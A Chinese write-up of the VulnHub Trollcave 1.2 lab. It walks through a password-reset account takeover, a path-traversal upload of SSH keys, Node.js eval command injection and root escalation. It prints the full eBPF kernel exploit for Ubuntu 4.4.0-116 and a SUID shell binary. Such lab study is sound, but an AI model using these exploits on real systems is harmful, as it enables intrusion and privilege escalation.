trollcave-v1-2

trollcave-v1-2

目录
  • trollcave-v1-2
  • 1 信息收集
    • 1.1 端口扫描
    • 1.2 后台目录扫描
    • 1.3 收集网站相关信息
      • 1.3.1 收集网站用户名与角色信息
      • 1.3.2 收集博客信息
  • 2 Ruby on Rails 漏洞
    • 2.1 任意位置文件上传漏洞
    • 2.2 上传公钥并连接服务器
    • 2.3 GetShell
  • 3 提权
    • 3.1 尝试提权
      • 3.1.1 尝试8888端口
    • 3.2 内核提权
      • 3.2.1 目标主机上提权
    • 3.3 SID提权

下载地址：Trollcave: 1.2 ~ VulnHub

1 信息收集

image-20220213122008295

1.1 端口扫描

image-20220221201032982

1.2 后台目录扫描

Target: http://192.168.0.3/

[20:20:34] Starting: 
[20:20:37] 200 -    2KB - /404
[20:20:37] 200 -    2KB - /404.html
[20:20:37] 200 -    1KB - /500
[20:20:50] 200 -    0B  - /favicon.ico
[20:20:54] 200 -    2KB - /login.jsp
[20:20:54] 200 -    2KB - /login.aspx
[20:20:54] 200 -    2KB - /login.php
[20:20:54] 200 -    2KB - /login
[20:20:54] 200 -    2KB - /login.cgi
[20:20:54] 200 -    2KB - /login.html
[20:20:54] 500 -   48B  - /login.json
[20:20:54] 200 -    2KB - /login.rb
[20:20:54] 200 -    2KB - /login.pl
[20:20:54] 200 -    2KB - /login.htm
[20:20:54] 200 -    2KB - /login.asp
[20:20:54] 200 -  707B  - /login.js
[20:20:54] 200 -    2KB - /login.py
[20:20:54] 200 -    2KB - /login.wdm%20
[20:20:54] 200 -    2KB - /login.shtml
[20:20:54] 200 -    2KB - /login/
[20:20:54] 200 -    2KB - /login.srf
[20:21:00] 200 -  202B  - /robots.txt

Task Completed

没东东

1.3 收集网站相关信息

1.3.1 收集网站用户名与角色信息

Username,Level,Info
King,Superadmin,:)
dave,Admin,nah lol
dragon,Admin,Over fire and over stone / Over water and over bone / Shining out like jewels of light / On a sheet of purest night
coderguy,Admin,;)
cooldude89,Moderator,i am the dankest
Sir,Moderator,It's super secure
Q,Moderator,Your normal password
teflon,Moderator,swordfish
TheDankMan,Regular member,420
artemus,Regular member,garden
MrPotatoHead,Regular member,you know...
Ian,Regular member,a
kev,Member,mother's maiden name
notanother,Member,(:
anybodyhome,Member,no one is
onlyme,Member,It is what it is
xer,Member,fave pronoun

image-20220222223320362

image-20220222223447265

1.3.2 收集博客信息

  1. 发现该网站将部署password_resets功能

    image-20220222222403172

  2. 尝试使用此路径登录password_resets

    image-20220222222546607

  3. 看看度娘怎么说

    1. 跳转到首页

      image-20220222222703272

    2. 成功访问

      image-20220222222246245

    3. http://192.168.0.3/password_resets/new.html

      image-20220222222824844

  4. 果断修改King的密码

    1. 提示当前只能修改普通用户的密码

      image-20220222222943201

    2. 尝试修改xer，出现一个url地址

      image-20220222221717754

    3. 浏览器中打开：http://192.168.0.3/password_resets/edit.Ktz2buYVXW6AbenTOkwr_w?name=xer

      image-20220222223716831

    4. 尝试修改密码，提示修改成功：Admin12345

      image-20220222223826559

    5. 可能是权限不够，存在文件管理页面，但无法上传文件
      image-20220222224207169

    6. 再换个思路，利用重置密码链接，尝试修改用户名是否可以直接重置对应的密码

      http://192.168.0.3/password_resets/edit.4uD_eDiYs4khksnye5e1kw?name=King

      image-20220222224537249

    7. 成功修改

      image-20220222224724452

    8. 设置启用文件上传功能

      image-20220222225112847

    9. 有个人想要sudo记录下：coderguy

      image-20220222225342137

2 Ruby on Rails 漏洞

2.1 任意位置文件上传漏洞

  1. 将上传的文件名1.jpg修改为../../1.jpg

    image-20220223101210515

  2. 在Preferences界面发现文件上传到了Public目录

    image-20220223101426264

  3. 尝试将文件上传到coderguy用户家目录下：错误可能用户不存在或没有权限

    image-20220223102742670

  4. 想到目标网站是rails部署的，运行web服务的用户会不会是rails呢？果断尝试：竟然成功了，说明rails家目录存在并且rails可登录。

    image-20220223102902829

2.2 上传公钥并连接服务器

  1. 结合目标主机所开放的端口，尝试使用公私钥连接服务器

    ssh-keygen -f Identity

# 服务器内核版本
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

    image-20220223103452032

  2. 将Identity.pub重命名为authorized_keys并上传到/home/rails/.ssh/

    image-20220223104810530

2.3 GetShell

  1. GetShell

    ssh -i Identity rails@192.168.0.3

    image-20220223105352582

  2. 切换为Bash shell

    python -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 尝试提权

  1. 查看/etc/passwd

    image-20220225230441952

  2. SUID提权：没啥可利用的

    rails@trollcave:~$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

  3. mail中看看：没东东

  4. 查看当前系统中的用户所创建的文件：king用户好像有sudo权限，home目录下还有个js文件

    image-20220223110645172

  5. 查看当前所开启的服务

    image-20220224231659779

  6. 获得数据库账号与密码

    # /var/www/trollcave/config/database.yml
adapter: postgresql
database: trollcave
username: tc
password: sowvillagedinnermoment

  7. 连接数据库查看内容，没有发现可以利用的东东

    image-20220224232153204

  8. 查看sqlit3数据库

    sqlite3 /var/www/trollcave/db/development.sqlite3
select * from users;

    image-20220224234210634

3.1.1 尝试8888端口

  1. 配置本地端口转发

    ssh -CNf -L 127.0.0.1:8888:127.0.0.1:8888

    image-20220225221216262

  2. kali中查看8888端口所提供的服务内容

    image-20220225221134139

  3. 尝试使用命令执行注入：失败

    image-20220225222327977

  4. 尝试查找http://127.0.0.1:8888/网站的位置：king家目录好像有东西

    grep -w 8888 /etc/services 
lsof -i:8888
ps -ef
find / -type f -name '*calc*' 2>/dev/null

    image-20220225223834623

  5. 在king家目录中找到calc，这就是8888的源页面呀，分析分析。

    rails@trollcave:/home/king/calc$ cat calc.js 
var http = require("http");
var url = require("url");
var sys = require('sys');
var exec = require('child_process').exec;

// Start server
function start(route)
{
        function onRequest(request, response)
        {
                var theurl = url.parse(request.url);
                var pathname = theurl.pathname;
                var query = theurl.query; 
                console.log("Request for " + pathname + query + " received.");
                route(pathname, request, query, response);
        }

http.createServer(onRequest).listen(8888, '127.0.0.1');
console.log("Server started");
}

// Route request
function route(pathname, request, query, response)
{
        console.log("About to route request for " + pathname);
        switch (pathname)
        {
                // security risk
                /*case "/ping":
                        pingit(pathname, request, query, response);
                        break;  */

                case "/":
                        home(pathname, request, query, response);
                        break;

                case "/calc":
                        calc(pathname, request, query, response);
                        break;

                default:
                        console.log("404");
                        display_404(pathname, request, response);
                        break;
        }
}

function home(pathname, request, query, response)
{
        response.end("
    The King's Calculator
    " +
                        "
    Enter your calculation below:
    " +
                        "
    " +
                                "" +
                                "" +
                        "
    " +
                        "
    " +
                        "Powered by node.js"
                        );
}

function calc(pathname, request, query, response)
{
        sum = query.split('=')[1];
        console.log(sum)
        response.writeHead(200, {"Content-Type": "text/plain"});

        response.end(eval(sum).toString());
}

function ping(pathname, request, query, response)
{
        ip = query.split('=')[1];
        console.log(ip)
        response.writeHead(200, {"Content-Type": "text/plain"});

        exec("ping -c4 " + ip, function(err, stdout, stderr) {
                response.end(stdout);
        });
}

function display_404(pathname, request, response)
{
        response.write("
    404 Not Found
    ");
        response.end("I don't have that page, sorry!");
}

// Start the server and route the requests
start(route);

  6. 发现存在以下可疑点

    var exec = require('child_process').exec;

function calc(pathname, request, query, response)
{
        sum = query.split('=')[1];
        console.log(sum)
        response.writeHead(200, {"Content-Type": "text/plain"});

        response.end(eval(sum).toString());
}

  7. 尝试创建文件

    GET /calc?sum=require('child_process').exec('cat+/etc/passwd+>/tmp/passwd') HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0

    image-20220225225734282

  8. 创建成功，所属用户为king

    image-20220225225929409

  9. 尝试执行shell脚本

    # 编写测试脚本
cat /tmp/chowner2king.sh
#!/bin/sh

touch /tmp/testfile

# 添加测试脚本执行权限
chmod +x /tmp/chowner2king.sh

  10. 成功创建

    GET /calc?sum=require('child_process').exec('/tmp/chowner2king.sh') HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0

    image-20220226101511815

    image-20220226101437836

3.2 内核提权

  1. 突然想到这是是否是个有漏洞的系统呢？已知服务器内核版本：Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)：还真有。

    exp：Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation - Linux local Exploit (exploit-db.com)

    /*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = 	"\xb4\x09\x00\x00\xff\xff\xff\xff"
		"\x55\x09\x02\x00\xff\xff\xff\xff"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x18\x19\x00\x00\x03\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x06\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x03\x00\x00\x00\x00\x00"
		"\x79\x73\x00\x00\x00\x00\x00\x00"
		"\x7b\x32\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x02\x00\x01\x00\x00\x00"
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x7b\x87\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version) {
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = (__u64)insns,
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = (__u64)license,
		.log_buf = (__u64)bpf_log_buf,
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries) {
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)&key,
		.value = (__u64)&value,
		.flags = 0,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)key,
		.value = (__u64)value,
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
	fprintf(stderr, "error: %s\n", err);
	exit(-1);
}

static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
	if (mapfd < 0)
		__exit(strerror(errno));

	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

	if (progfd < 0)
		__exit(strerror(errno));

	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
		__exit(strerror(errno));

	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
		__exit(strerror(errno));
}

static void writemsg(void) {
	char buffer[64];

	ssize_t n = write(sockets[0], buffer, sizeof(buffer));

	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer))
		fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();

static uint64_t get_value(int key) {
	uint64_t value;

	if (bpf_lookup_elem(&key, &value))
		__exit(strerror(errno));

	return value;
}

static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0);

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	task_struct = __read(sp);

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET); // cred

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET; // uid
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0); // set both uid and gid to 0

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("/bin/bash");
		exit(0);
	}

	__exit("not vulnerable?");
}

int main(int argc, char **argv) {
	prep();
	pwn();

	return 0;
}

  2. 编译exp

    # 由于目标主机上没有gcc环境，在kali中编译
gcc -c pwn.c -o pwn

  3. 上传exp到目标主机

    scp -i Identity pwn rails@192.168.0.3:/home/rails/

3.2.1 目标主机上提权

  1. 添加可执行权限

    chmod +x pwn

    image-20220223113745705

  2. 提权成功

    ./pwn

    image-20220223113828917

3.3 SID提权

  1. 结合3.1.1的内容尝试利用Nodejs执行漏洞进行提权

  2. 编写提权脚本exp.c并编译

    # 编译
gcc exp.c -o exp  

//exp.c
#include 
#include 
#include 
# description: 执行本程序将获得uid=1000用户的权限
int main(int argc,char *argv[])
{
	setreuid(1000,1000);
	execve("/bin/sh",NULL,NULL);
}

  3. 上传exp文件到目标主机：BASE64编码方式

    1. 查看编译后的exp文件Base64编码：base64 exp

      image-20220226091017459

    2. 在目标主机上vim创建/tmp/exp.64文件，并写入exp文件Base64编码：

      rails@trollcave:~$ vim /tmp/exp.64

    3. 解码/tmp/exp.64文件：

      rails@trollcave:~$ base64 -d /tmp/exp.64  > /tmp/exp

  4. 上传exp文件到目标主机：SSH方式

    scp -i Identity exp rails@192.168.0.3:/tmp/

  5. 编写设置权限脚本，赋予exp文件sid权限，用于将rails用户也可以拥有king的权限

    cat /tmp/chowner2king.sh
#!/bin/sh

# 因为要获取king的权限，所以需要先将exp的用户名变成king的，在rails中无法修改，可以通过复制的方式改变文件所属用户
cp /tmp/exp /tmp/kingexp
chmod 4755 /tmp/kingexp

  6. 成功修改exp文件权限

    GET /calc?sum=require('child_process').exec('/tmp/chowner2king.sh') HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0

    image-20220226103413678

    image-20220226103357912

  7. 成功sudo提权

    image-20220226104016530

靶场练习trollcave

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